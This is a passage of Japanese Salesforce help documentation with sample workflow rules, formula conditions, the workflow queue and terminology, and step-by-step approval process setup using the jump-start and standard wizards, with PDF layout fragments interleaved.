DATE( YEAR(TODAY()) , (MONTH(TODAY()) + 6), DAY(TODAY()))

ルール適用時のアク
ション

なし時間ベースのアクショ
ン

不成立商談のレポート

商談オブジェクト

フェーズが「提案書/見積書の作成」で金額が 100 万ドルを超えていた商談が不成立
になったときに営業統括責任者に通知します。

説明

レコードが次の場合にルールを評価: [作成されたとき、および編集されるたび]評価条件

次の数式が true の場合に、このルールを実行します。
AND( ISCHANGED(StageName), ISPICKVAL(PRIORVALUE(StageName) ,
"Proposal/Price Quote"), ISPICKVAL(StageName,"Closed Lost"), (Amount
>1000000))

ルール条件 (条件一致)

[メールアラート:] 営業統括責任者ロールに商談の不成立を通知します。ルール適用時のアク
ション

なし時間ベースのアクショ
ン

未割り当てのリードのレポート
この例は、リードの割り当てルールによって、すべての未割り当てのリードが未割り当てリードキューに入れ
られていることを前提としています。

リードオブジェクト
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リードが 2 日間引き受けられていない場合にマネージャに通知することで、未割り
当てのリードを適時に追跡します。

説明

レコードが次の場合にルールを評価: [作成されたとき、およびその後基準を満たすよ
うに編集されたとき]

評価条件

次の検索条件が一致する場合に、このルールを実行します。
Lead Owner equals Unassigned Lead Queue

ルール条件 (条件一致)

なしルール適用時のアク
ション

2 日後リード: 最終更新日 — [メールアラート:]  2 日を超えている未割り当てのリー
ドがキュー内にあることをマネージャロールに通知します。

時間ベースのアクショ
ン

見積品目の割引が 40% を超えた場合のアラートの送信

見積品目オブジェクト

営業担当者が 40% を超える見積品目の割引を適用した場合に、メールアラートを送
信します。

説明

レコードが次の場合にルールを評価: [作成されたとき、およびその後基準を満たすよ
うに編集されたとき]

評価条件

次の検索条件が一致する場合に、このルールを実行します。
Quote Line Item: Discount is greater than 40

ルール条件 (条件一致)

[メールアラート:]見積品目の割引が 40% を超えていることをマネージャロールに通
知します。

ルール適用時のアク
ション

なし時間ベースのアクショ
ン

主要人物への取引先所有者の変更に関する通知

取引先オブジェクト

取引先の年間売上が 100 万ドルを超えており、取引先の所有者が変更された場合に、
営業部門の主要人物に通知します。

説明

レコードが次の場合にルールを評価: [作成されたとき、および編集されるたび]評価条件

次の数式が true の場合に、このルールを実行します。
AND( ISCHANGED(OwnerId), AnnualRevenue > 1000000 )

ルール条件 (条件一致)
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[メールアラート:] 取引先の所有者の変更を営業担当ロールに通知します。ルール適用時のアク
ション

なし時間ベースのアクショ
ン

取引先責任者の誕生日のアラームの設定
この例は、[次の誕生日] カスタム数式項目が次の数式を使用して取引先責任者レコード内の取引先責任者の
次の誕生日を計算することを前提としています。
IF(MONTH(Birthdate) > MONTH(TODAY()),DATE(YEAR(TODAY()),MONTH(Birthdate),DAY(Birthdate)),
IF(MONTH(Birthdate) < MONTH(TODAY()),DATE(YEAR(TODAY())+1,MONTH(Birthdate),DAY(Birthdate)),
IF(DAY(Birthdate) >= (DAY(TODAY())),DATE(YEAR(TODAY()),MONTH(Birthdate),DAY(Birthdate)),
DATE(YEAR(TODAY())+1,MONTH(Birthdate),DAY(Birthdate)))))

取引先責任者オブジェクト

取引先責任者の誕生日の 2 日前に取引先責任者にメールを送信します。説明

レコードが次の場合にルールを評価: [作成されたとき]評価条件

次の数式が true の場合に、このルールを実行します。
(Contact: Birthdate not equal to null) and
(Contact: Email not equal to null)

ルール条件 (条件一致)

なしルール適用時のアク
ション

2 日前取引先責任者: 次の誕生日 — [メールアラート:] 取引先責任者のメールアドレ
スに誕生日メッセージを送信します。

時間ベースのアクショ
ン

重要商談完了日のアラームの設定

商談オブジェクト

金額が $100,000 を超える商談の完了予定日が近づいたときに、商談所有者と上級マ
ネジメントに通知します。完了予定日を過ぎても商談が未解決の場合は、商談所有
者のフォローアップ ToDo を作成します。

説明

レコードが次の場合にルールを評価: [作成されたとき、およびその後基準を満たすよ
うに編集されたとき]

評価条件

次の検索条件が一致する場合に、このルールを実行します。
(Opportunity: Amount greater than 100000) and
(Opportunity: Closed equals False)

ルール条件 (条件一致)
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なしルール適用時のアク
ション

時間ベースのアクショ
ン

• 30 日前商談: 完了日 — [メールアラート:]残り 30 日であることを商談所有者に通
知します。

• 15 日前商談: 完了日 — [メールアラート:]残り 15 日であることを商談所有者に通
知します。

• 5 日後商談: 完了日 — ToDo: 商談所有者が商談を更新するフォローアップ ToDo

を作成します。[メールアラート:] エグゼクティブを関与させるように上級マネ
ジメントに通知します。

取引先所有者への別のユーザによる更新に関する通知

取引先オブジェクト

取引先の年間売上が 100 万ドルを超えており、他のユーザが取引先を更新した場合
に、取引先所有者に通知します。

説明

レコードが次の場合にルールを評価: [作成されたとき、および編集されるたび]評価条件

次の数式が true の場合に、このルールを実行します。
AND( (LastModifiedById <> OwnerId), (AnnualRevenue > 1000000) )

ルール条件 (条件一致)

[メールアラート:] 他のユーザが取引先を更新したことを取引先所有者に通知しま
す。

ルール適用時のアク
ション

なし時間ベースのアクショ
ン

関連トピック:

ワークフロー
ワークフロールールの条件の設定
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待機中のワークフローアクションの監視

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ワークフロー ToDo および
メールアラートは、
Database.com Edition では
使用できません

ユーザ権限

ワークフローキューを管
理する
• 「すべてのデータの編

集」

時間ベースのアクションを持つワークフロールールを起動するとき、待機中の
アクションを参照して必要に応じてキャンセルするには、ワークフローキュー
を使用してください。
1. [設定] から、[クイック検索]ボックスに「時間ベースのワークフロー」と入力

して、[時間ベースのワークフロー] を選択します。
2. 有効なワークフロールールの待機中のアクションをすべて参照するには [検

索] をクリックします。また、条件に一致する待機中のアクションのみを参
照するには、検索条件を設定して [検索] をクリックします。検索条件オプ
ションは次のとおりです。
• ワークフロールール名: ワークフロールールの名前。
• オブジェクト: ワークフロールールを開始するオブジェクト。単一のオブ

ジェクト名を入力します。
• 予定日: 待機中のアクションが実行される予定の日。
• 作成日: ワークフロールールを開始するレコードが作成された日。
• 作成者: ワークフロールールを開始するレコードを作成したユーザ。
• レコード名: ワークフロールールを開始するレコードの名前。
検索条件では、大文字と小文字は区別されません。

待機中のアクションをキャンセルする手順は、次のとおりです。
1. キャンセルする待機中のアクションの横にあるボックスをオンにします。
2. [削除] をクリックします。
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ワークフローの用語

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

メールアラートとアウト
バウンドメッセージを使
用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ワークフローの特性と機能の説明に次の用語が使用されます。
ワークフロールール

ワークフロールールは、指定された条件に該当するときに、ワークフローア
クションを実行します。ワークフローアクションは、ワークフロールールで
指定された条件をレコードが満たすとただちに実行するか、タイムトリガを
設定して特定の日に実行するように設定することができます。ワークフロー
アクションがまだ実行されていなければ、ワークフローキューで、アクショ
ンを参照および変更できます。

ワークフローアクション
ワークフローアクション (メールアラート、項目自動更新、アウトバウンド
メッセージ、ToDo など) は、ワークフロールールの条件が満たされると起動
します。

メールアラート
指定のメールテンプレートを使用して特定の受信者にメールを送信するアク
ション。ワークフローアラートは有効なメールアドレスがある限り、ユーザ
または取引先責任者に送信できます。

項目自動更新
項目を新しい値で自動的に更新するアクション。

フロー
フローは、ロジックの実行、Salesforce データベースの操作、Apex クラスのコール、ユーザからのデータの
収集を行えるアプリケーションです。Cloud Flow Designer を使用して、フローを作成できます。

フロートリガ
フロートリガは、フローを起動するワークフローアクションです。フロートリガを使用して、複雑なビジ
ネスプロセスを自動化できます。ロジックを実行するフローを作成し、イベントからワークフロールール
経由でこのフローをトリガするようにします。コードを記述する必要はありません。
フロートリガワークフローアクションのパイロットプログラムは終了します。組織でパイロットをすでに
有効にしている場合は、引き続きフロートリガワークフローアクションを作成および編集できます。組織
で パイロットを有効にしなかった場合は、代わりにプロセスビルダーの[フロー] アクションを使用します。

アウトバウンドメッセージ
アウトバウンドメッセージでは、外部サービスなどの指定エンドポイントに情報を送信します。アウトバ
ウンドメッセージは [設定] から設定します。SOAP APIを使用して外部エンドポイントを設定し、メッセージ
のリスナーを作成する必要があります。
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承認
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

プロセスの自動化については、ワークフロールールという形ですでに慣れてい
るものと思われます。承認機能では自動化をさらに 1 歩進めて、レコードの承
認に必要な一連のステップを指定できます。
承認プロセスでは、Salesforce でレコードを承認する方法を自動化します。承認
プロセスでは、承認申請者やプロセスの各ポイントでの実行内容など、承認の
各ステップについて指定します。

例: 組織で 3 階層のプロセスを使用して経費を承認するとします。この承認
プロセスでは、申請された金額に基づいて、各申請が組織内の適切な担当
者に自動的に割り当てられます。
経費レコードが承認申請されると、ユーザが編集できないようにレコード
がロックされ、状況が [申請済み] に変更されます。
金額が $50 以下の場合は、申請が承認されます。金額が $50 を超える場合
は、承認申請が直属マネージャに送信されます。金額が $5,000 を超え、最
初の承認申請が承認された場合は、承認申請が副社長に送信されます。
すべての承認申請が承認されると、状況が [承認済み] に変更され、レコー
ドのロックが解除されます。いずれかの承認申請が却下された場合は、状
況が [却下] に変更され、レコードのロックが解除されます。

承認プロセスの設定
承認がビジネスプロセスにとって適切な自動化ツールである場合、次の手順の概要に従って組織の承認プ
ロセスを作成します。
組織での承認の準備
ユーザによってレコード承認申請ができることを確認し、承認者が簡単に承認申請に返答できる方法を検
討します。
承認に関する考慮事項
承認プロセスを使用して自動化する前に、機能の制限について認識しておく必要があります。
承認プロセスのサンプル
一般的な承認プロセスのサンプルを確認して、独自の承認プロセスを作成する場合の参考にしてください。
承認履歴レポート
承認プロセスインスタンスにカスタムレポートタイプを作成すると、完了済みおよび進行中の承認プロセ
スとその個々のステップの履歴詳細をユーザが参照できます。
複数の承認申請の管理
複数の承認申請を、あるユーザから別のユーザへ一括移行または一括削除します。
ユーザの承認申請
システム管理者は、ユーザが承認申請としてレコードの承認を申請するための承認プロセスを設定できま
す。
承認プロセスの用語
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承認プロセスの設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

承認プロセスを作成する
• 「アプリケーションの

カスタマイズ」

承認がビジネスプロセスにとって適切な自動化ツールである場合、次の手順の
概要に従って組織の承認プロセスを作成します。

1. 承認プロセス作成の準備
実装が成功するよう、各承認プロセスを慎重に計画します。

2. 承認プロセスの作成に適切なウィザードの選択
承認プロセスを作成する前に、どのウィザードが自分のニーズに最適かを判
断します。

3. 承認プロセスへの承認ステップの追加
承認ステップで、特定の承認プロセスに一連の承認を定義します。各ステッ
プで、そのステップの条件を満たすレコード、承認申請を割り当てるユー
ザ、各代理承認者による申請への返答を許可するかどうかを決定します。最
初のステップでは、レコードがそのステップの条件を満たさない場合の動作
を指定します。その後のステップでは、承認者が申請を却下した場合の動作
を指定します。

4. 承認プロセスへの自動アクションの追加
アクションは、承認ステップ、申請、最終承認、最終却下、取り消しに関連付けることができます。承認
プロセスでは 4 つの自動アクションがサポートされます。

5. 承認プロセスの確認
承認プロセスを有効にする前に、プロセスのグラフィック表示を生成します。Process Visualizerを使用して承
認プロセスが作成されたときに達した決定事項を文書化することで、ステップ所有者からの賛同を取得し
会社の方針を強化します。

6. 承認プロセスの有効化
承認プロセスのステップを 1 つ以上作成したら、そのプロセスを有効にします。

関連トピック:

承認プロセスの用語
承認プロセスのサンプル
組織での承認の準備
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承認プロセス作成の準備

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

実装が成功するよう、各承認プロセスを慎重に計画します。
承認プロセスを作成する前に次のチェックリストを確認します。
• 承認申請メールテンプレートを準備します。
• 承認申請投稿テンプレートを準備します。
• 承認申請者を決めます。
• 割り当てる承認者を決めます。
• 代理承認者を決めます。
• 承認プロセスを実行する条件を必要とするかどうかを決めます。
• 申請時のアクションを設計します。
• ワイヤレスデバイスから承認申請できるかどうかを決めます ( 日本ではワイ

ヤレスデバイスによるアクセスは対応しておりません)。
• ユーザが承認プロセス中のレコードを編集できるかどうかを決めます。
• 開始条件を満たさないレコードを自動的に承認または却下するかどうかを決めます。
• プロセスのステップ数 (承認者の数) を決めます。
• 承認申請が承認または却下された場合のアクションを決めます。
承認申請メールテンプレートの準備

承認プロセスで指定したメールテンプレートは、承認申請が割り当てられたユーザに通知するときに使用
されます。Salesforce のデフォルトのメールテンプレートを使用するか、独自のテンプレートを作成できま
す。その場合は、承認申請に直接リンクできる承認プロセス差し込み項目を追加してください。
組織でメール承認を有効にしている場合、デフォルトのメールテンプレートにはメール承認申請に応答す
る手順が含まれています。手順では、メールの本文の 1 行目に「承認」、「承認済み」、「はい」、「却
下」、「却下済み」または「いいえ」を入力し、2 行目には必要に応じてコメントを追加するようになって
います。

承認申請に使用する Chatter 投稿テンプレートの指定
組織で [Chatter での承認] が有効になっている場合、ユーザに承認申請が割り当てられたことを Chatter を使
用して通知するための承認投稿テンプレートを指定します。Salesforce のデフォルトの投稿テンプレートを
使用するか、独自のテンプレートを作成できます。

承認申請者の決定
承認申請通知はレコードの承認申請をしたユーザから送信されます。メールアラートの設定時に、これら
の通知に別の返信用メールアドレスを追加できます。デフォルトのワークフローユーザのメールアドレス
か、すでに設定し、確認済みの組織の共有アドレスを選択できます。使用するメールアドレスを決めます。

申請承認者の決定
次のいずれでも申請を承認または却下できます。
• 承認申請提出者が選択したユーザまたはキュー
• システム管理者が指定したキュー
• 提出者のユーザ詳細ページの [マネージャ] 標準項目で指定されているユーザ
• 提出者のユーザ詳細ページのカスタム階層項目で指定されているユーザ
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• システム管理者によって指定されたユーザおよび関連ユーザ (提出されたレコードの標準項目またはカ
スタム項目にリストされているユーザ) の任意の組み合わせ

代理承認者の決定
承認者は申請を承認する代理承認者を指定できますが、このオプションを無効にできます。代理承認者を
割り当てるには、各ユーザの詳細ページで [代理承認者] 項目に入力します。

承認プロセスの開始条件の決定
承認プロセスの対象になるレコードに必要な条件を決めます。必要に応じて、検索条件で使用するための
カスタム項目を作成します。たとえば、本社からの経費レコードだけを承認対象にする場合には、「本社」
と「支社」という 2 つの選択値を持つ [事業所]という名前のカスタム選択リスト項目を作成します。これ
により、承認プロセスの検索条件で、レコードの [事業所]項目が「本社」であるという指定が可能です。

申請時のアクションの設計
ユーザが承認申請をすると、Salesforceはそのレコードを自動的にロックして、承認プロセスの間に他のユー
ザが変更できないようにします。認証のためロックされたキャンペーンにも、キャンペーンメンバーを追
加できます。
また、承認申請時に、メールアラート、ToDo、項目自動更新、アウトバウンドメッセージなどのワークフ
ローアクションを実行するかどうかを決めます。これらのアクションが、申請時のアクションになります。

モバイルデバイスからの申請承認
Salesforce にログインして申請を承認するかどうかを決めます。モバイルブラウザを使用してリモートで申
請を承認できるように承認プロセスを設定することもできます。

承認プロセス中のレコードの編集権限の設定
承認申請されたレコードはロックされます。特定のオブジェクトに対するオブジェクトレベルの「すべて
の編集」権限または「すべてのデータの編集」権限を持つユーザは、レコードのロックを解除して編集で
きます。現在割り当てられている承認者がレコードを編集できるように指定することも可能です。認証の
ためロックされたキャンペーンにも、キャンペーンメンバーを追加できます。

開始条件を満たさないレコードの自動的承認、却下またはスキップの決定
プロセスの各ステップの開始条件を設定し、レコードがその開始条件を満たさない場合に Salesforce がプロ
セスの承認、却下、またはスキップを行うよう設定できます。たとえば、1,500 円未満の [金額] で申請さ
れた経費は自動的に承認されるようにするような設定が可能です。

プロセスのステップ数 (承認者の数) の決定
承認プロセスには、複数の承認ステップを作成することができます。承認が必要なユーザ数と順番を決め
ます。

承認申請の承認/却下時のアクションの決定
承認申請が取り消し、承認または却下された場合に Salesforce で実行するアクションを、次の種類ごとに最
大 10 インスタンス、合計で最大 40 アクションまで設定できます。レコードが必要な承認をすべて受けた場
合、または却下された場合にも、最大 40 アクションまで設定できます。

関連トピック:

承認プロセスの設定
承認に関する考慮事項
承認プロセスのサンプル
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承認プロセスの作成に適切なウィザードの選択

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

承認プロセスを作成する前に、どのウィザードが自分のニーズに最適かを判断
します。

ジャンプスタートウィザードを使用した承認プロセスの作成
使用するステップが 1 つの承認プロセスの場合は、ジャンプスタートウィ
ザードを使用します。このウィザードではいくつかのデフォルトオプション
が選択されます。
承認プロセスジャンプスタートウィザードのデフォルト選択
シンプルな承認プロセスで簡単に開始するには、ジャンプスタートウィザー
ドを使用していくつかのデフォルトオプションが自動で選択されるようにし
ます。
標準ウィザードを使用した承認プロセスの作成
承認プロセスがより複雑で、特定のステップを定義する必要がある場合、標準ウィザードを使用します。

関連トピック:

承認プロセスの設定

ジャンプスタートウィザードを使用した承認プロセスの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

承認プロセスを作成する
• 「アプリケーションの

カスタマイズ」

使用するステップが 1 つの承認プロセスの場合は、ジャンプスタートウィザー
ドを使用します。このウィザードではいくつかのデフォルトオプションが選択
されます。
1. [設定] から、[クイック検索] ボックスに「承認プロセス」と入力し、[承認プ

ロセス] を選択します。
2. オブジェクトを選択します。
3. [承認プロセスの新規作成] > [ジャンプスタートウィザードを使用] を選択し

ます。
4. ウィザードに従って、次のように承認プロセスを設定します。

a. 承認プロセスジャンプスタートウィザードのデフォルト選択
b. 承認申請通知テンプレートの選択
c. 承認申請ページの設計
d. 承認プロセスに適用するレコードの制御
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e. 承認ステップに割り当てる承認者の識別

関連トピック:

承認プロセスジャンプスタートウィザードのデフォルト選択
承認の設定に関する考慮事項
承認設定に関する考慮事項
承認プロセスの設定
承認プロセスの作成に適切なウィザードの選択

承認プロセスジャンプスタートウィザードのデフォルト選択

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

シンプルな承認プロセスで簡単に開始するには、ジャンプスタートウィザード
を使用していくつかのデフォルトオプションが自動で選択されるようにします。
ジャンプスタートウィザードを使用して承認プロセスを作成後、承認プロセス
の詳細ページからこれらのデフォルトオプションを変更したり、ステップを追
加したりできます。ただし、[申請時のアクション] リストの [レコードのロック]

アクションは変更できません。
• ユーザが承認プロセスで承認を待機中のレコードを編集するには、そのオブ

ジェクトに対する「すべての編集」権限、または「すべてのデータの編集」
権限が必要です。

• 承認申請のページレイアウトには、レコード名 (または番号)、所有者、作成
日、および承認履歴が表示されます。

• セキュリティ設定により、承認者が承認ページを参照するときに Salesforce へのログインが要求されます。
• レコードの承認申請ができるのはレコードの所有者のみです。
• レコードは、承認申請されるとロックされます。
• レコードは、承認または却下されるまでロックされた状態が維持されます。
• 却下されたレコードはロック解除されます。
• 申請後にレコードを取り消すことができるのはシステム管理者のみです。
• 自動承認または自動却下のアクションは設定されません。
• 承認または却下時に送信されるメール通知はありません。
• 承認プロセス中に自動的に値が更新される項目はありません。
• 承認者が、自動的に代理承認者に承認申請の承認を委任することはできません。
• [申請者に承認申請の取り消しを許可] オプションは選択されていません。

関連トピック:

ジャンプスタートウィザードを使用した承認プロセスの作成
承認プロセスの作成に適切なウィザードの選択
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標準ウィザードを使用した承認プロセスの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

承認プロセスを作成する
• 「アプリケーションの

カスタマイズ」

承認プロセスがより複雑で、特定のステップを定義する必要がある場合、標準
ウィザードを使用します。
[設定] から、[クイック検索]ボックスに「承認プロセス」と入力し、[承認プロセ
ス] を選択します。
オブジェクトを選択し、[承認プロセスの新規作成] > [標準ウィザードを使用] を
選択します。承認プロセスを設定します。

1. 承認プロセスに適用するレコードの制御
条件を指定して、承認プロセスの一部であるレコードのリストを絞り込みま
す。検索条件を使用するか、数式を入力します。

2. 承認申請通知テンプレートの選択
承認プロセスによってユーザへ承認申請が割り当てられると、Salesforce から
そのユーザに対して承認申請メールが送信されます。[Chatter での承認] が有
効になっていると、Chatterには承認申請も投稿されます。これらの各通知に
テンプレートを選択します。

3. 承認プロセスで自動化された承認者の選択
ユーザのマネージャなどの階層項目を承認プロセスに関連付けます。選択すると、この項目が承認ステッ
プに割り当てられる承認者オプションとして使用できます。ここでは常に階層項目を選択できますが、任
意の承認ステップには使用できません。

4. ロックされたレコードの編集者の指定
レコードは承認申請されるとロックされ、承認プロセス中にユーザがそのレコードを編集するのを防ぎま
す。編集権限のプロパティを使用して、この承認プロセスでロックされているレコードの編集者を決定し
ます。

5. 承認申請ページの設計
承認ページは、承認者が承認申請に返答するページです。ページに表示する項目やその順序をカスタマイ
ズします。この承認ページはこの承認プロセスのみに使用します。

6. 承認プロセスへのレコード申請者の指定
レコードの承認申請ができるのは、指定された個人またはロールのみです。申請者に承認申請の取り消し
を許可することもできます。

関連トピック:

承認プロセスの設定
承認に関する考慮事項

5897

承認コードではなくてクリックによる Salesforce の拡張



承認プロセスに適用するレコードの制御

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

条件を指定して、承認プロセスの一部であるレコードのリストを絞り込みます。
検索条件を使用するか、数式を入力します。
すべてのレコードが承認プロセスを経過するようにするには、[次へ]をクリック
します。特定の種類のレコードのみが経過するようにする場合は、次のオプショ
ンのいずれかを使用します。

承認プロセス実行の条件オプション

レコードは検索条件を満たす必要があります。条件が一致する

数式が True を返す必要があります。
承認プロセスの数式で使用できない関数もあります。承
認プロセス数式で使用できる関数については、「数式の
演算子と関数」を参照してください。

数式の評価が true に
なる

例: この検索条件により、経費レポートを申請した従業員が本社にいる場合のみ経費レポートの承認プロ
セスが開始されます。

Current User: Office Location Equals Headquarters

この数式では、割引承認の受付締切日が 30 日未満になったときにのみレコードの承認プロセスが開始さ
れます。
(Discount_Approval_CutoffDate__c < (CloseDate - 30)

関連トピック:

承認の設定に関する考慮事項
数式の演算子と関数

承認申請通知テンプレートの選択

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

承認プロセスによってユーザへ承認申請が割り当てられると、Salesforce からそ
のユーザに対して承認申請メールが送信されます。[Chatter での承認] が有効に
なっていると、Chatter には承認申請も投稿されます。これらの各通知にテンプ
レートを選択します。
これらの項目は、ジャンプスタートウィザードおよび標準ウィザードで使用で
きます。
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説明項目

承認申請の割り当てられたことを承認者に通知する場合は、使用するカスタム
メールテンプレートを選択するか、空白のままにして、デフォルトのメールテン
プレートを使用します。
承認プロセスでは、どの承認ステップに対しても、すべての割り当てメールに同
じテンプレートを使用します。

承認割り当てメールテンプ
レート

[Chatter での承認] が有効の場合のみ使用できます。
Chatterフィードの投稿を使用して承認者に通知する際に使用する承認投稿テンプ
レートを選択します。空白のままにすると、このオブジェクトにデフォルト投稿

承認の投稿テンプレート

テンプレートが使用されます。該当するテンプレートがない場合は、システムの
デフォルトテンプレートが使用されます。

メモ: メール承認が有効になっている場合、使用するメールテンプレートで、リンクをクリックする方法
とメールで返信する方法の両方の応答方法の正しい使い方が説明されているかどうかを確認してくださ
い。「承認」の文字を間違えたり行を間違えて入力したりするなど、ユーザが正しく記入しない場合、
Salesforce はユーザの応答を登録しません。

関連トピック:

承認申請の Chatter 投稿テンプレート
メールテンプレートの管理
承認の差し込み項目

承認プロセスで自動化された承認者の選択

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザのマネージャなどの階層項目を承認プロセスに関連付けます。選択する
と、この項目が承認ステップに割り当てられる承認者オプションとして使用で
きます。ここでは常に階層項目を選択できますが、任意の承認ステップには使
用できません。
次のオプションのいずれかを使用して [割り当て先として使用するユーザ項目]

を設定します。

説明オプション

承認申請では項目に基づく自動割り当ては行われません。
代わりに、すべての承認申請を承認するユーザを手動で指
定します。

--None--

承認申請は指定した項目から承認者に割り当てられます。
[マネージャ] などの階層関係項目のみを選択できます。

項目
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説明オプション

項目 が選択されている場合のみ使用できます。
選択すると、最初に実行される承認ステップで、承認者が申請者のユーザレコード
ではなく、レコード所有者のユーザレコードの 項目 値に設定されます。

オブジェクト所有者の承
認者項目を使用

残りのすべてのステップでは、前のステップの承認者のユーザレコードの 項目 が
使用されます。

例: [マネージャ]項目を選択すると、このプロセスの任意のステップを設定して承認申請を申請ユーザの
マネージャに転送できます。
[オブジェクト所有者の承認者項目を使用]を選択すると、スキップされない最初のステップが所有者のマ
ネージャに転送されます。他のすべてのステップは前の承認者のマネージャに転送されます。

関連トピック:

カスタム項目のデータ型
承認設定に関する考慮事項

ロックされたレコードの編集者の指定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

レコードは承認申請されるとロックされ、承認プロセス中にユーザがそのレコー
ドを編集するのを防ぎます。編集権限のプロパティを使用して、この承認プロ
セスでロックされているレコードの編集者を決定します。

説明オプション

デフォルト。次の場合のみユーザに未承認レコードの編集
を許可します。

管理者のみ...

• 特定オブジェクトに対するオブジェクトレベルでの「す
べての編集」権限、または

• 「すべてのデータの編集」権限

割り当てられた承認者とシステム管理者にレコードの編集
を許可します。

管理者または...

メモ: キャンペーンが承認でロックされている場合でも、ユーザはキャンペーンメンバーをキャンペーン
に追加できます。

5900

承認コードではなくてクリックによる Salesforce の拡張



承認申請ページの設計

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

承認ページは、承認者が承認申請に返答するページです。ページに表示する項
目やその順序をカスタマイズします。この承認ページはこの承認プロセスのみ
に使用します。

説明オプション

承認申請ページに表示する項目を指定します。承認者はモバ
イルデバイスでこのページを表示できることに留意します。
ユーザがレコードの承認または却下を決定するために必要な
項目のみを選択します。

選択済みの項目

選択すると、承認申請ページには関連するレコードの承認履
歴が表示されます。

承認履歴情報を
表示...

承認申請を参照する場合に、Salesforceへのユーザのログイン
が必要かどうかを制御します。
承認者に承認ページへのアプリケーション内からのみのアク
セスを許可する (推奨)

デフォルト。承認ページを表示するには、ユーザは
Salesforce にログインします。

セキュリティ設
定

承認者にアプリケーション内からのみ、または外部のワイヤ
レスが有効なモバイルデバイスからの承認ページへのアクセ
スを許可する

ユーザは Salesforce にログインせずに、モバイルデバイス
のブラウザなどから承認ページの外部バージョンにアク
セスできます。選択した場合、ユーザは次の承認者を手
動で選択できる承認ステップを追加できません。

承認プロセスへのレコード申請者の指定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

レコードの承認申請ができるのは、指定された個人またはロールのみです。申
請者に承認申請の取り消しを許可することもできます。

初回申請者

種別を選択するか、検索して [選択可能な申請者] リストを
表示します。

申請者種別

レコードの承認申請をするユーザがこのリストに含まれて
いない場合、レコードが開始条件を満たしていても、この
承認プロセスには入りません。

許可される申請者
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ページレイアウト設定

選択すると、Salesforce によってそのオブジェクトのすべてのページレイアウトで
[標準ボタン] に [承認申請] ボタン、[関連リスト] に [承認履歴] 関連リストが追加さ
れます。
この設定は、承認プロセスを作成する場合にのみ使用できます。以前にレイアウ
トの [標準ボタン] がカスタマイズされていない場合、[承認申請] ボタンは追加され
ません。

[承認申請] ボタンと [承認
履歴] 関連リストをすべて
のオブジェクトページレ
イアウトに追加

申請設定

選択すると、申請者は承認申請を取り消すことができます。選択しない場合は、
システム管理者のみが申請を取り消せます。
このオプションは、承認を待機中に申請者側の状況が変化した場合に便利です。
たとえば、ユーザが承認申請をした後で商談がなくなるような場合です。

申請者に承認申請の取り
消しを許可

承認プロセスへの承認ステップの追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

承認ステップを作成する
• 「アプリケーションの

カスタマイズ」

承認ステップで、特定の承認プロセスに一連の承認を定義します。各ステップ
で、そのステップの条件を満たすレコード、承認申請を割り当てるユーザ、各
代理承認者による申請への返答を許可するかどうかを決定します。最初のステッ
プでは、レコードがそのステップの条件を満たさない場合の動作を指定します。
その後のステップでは、承認者が申請を却下した場合の動作を指定します。
承認プロセスが無効な場合のみ、ステップを追加できます。
承認プロセスから [新規承認ステップ] をクリックし、ウィザードに従います。
指定した順序でステップが実行されます。

1. 承認ステップに適用するレコードの制御
ステップの条件を設定して承認ステップに含まれるレコードを制御します。
ステップの条件を満たさないレコードに対するアクションも指定できます。

2. 承認ステップに割り当てる承認者の識別
このステップの承認申請の送信先を指定します。
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3. 承認ステップの却下動作の指定
承認者が申請を却下する場合のアクションを設定します。承認プロセスの最終却下時のアクションで、最
初のステップの却下動作を決定します。

関連トピック:

承認プロセスの設定
承認プロセスの確認
メール承認の有効化

承認ステップに適用するレコードの制御

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ステップの条件を設定して承認ステップに含まれるレコードを制御します。ス
テップの条件を満たさないレコードに対するアクションも指定できます。

条件オプション
すべてのレコードにこの承認ステップを適用する場合、[すべてのレコードがこ
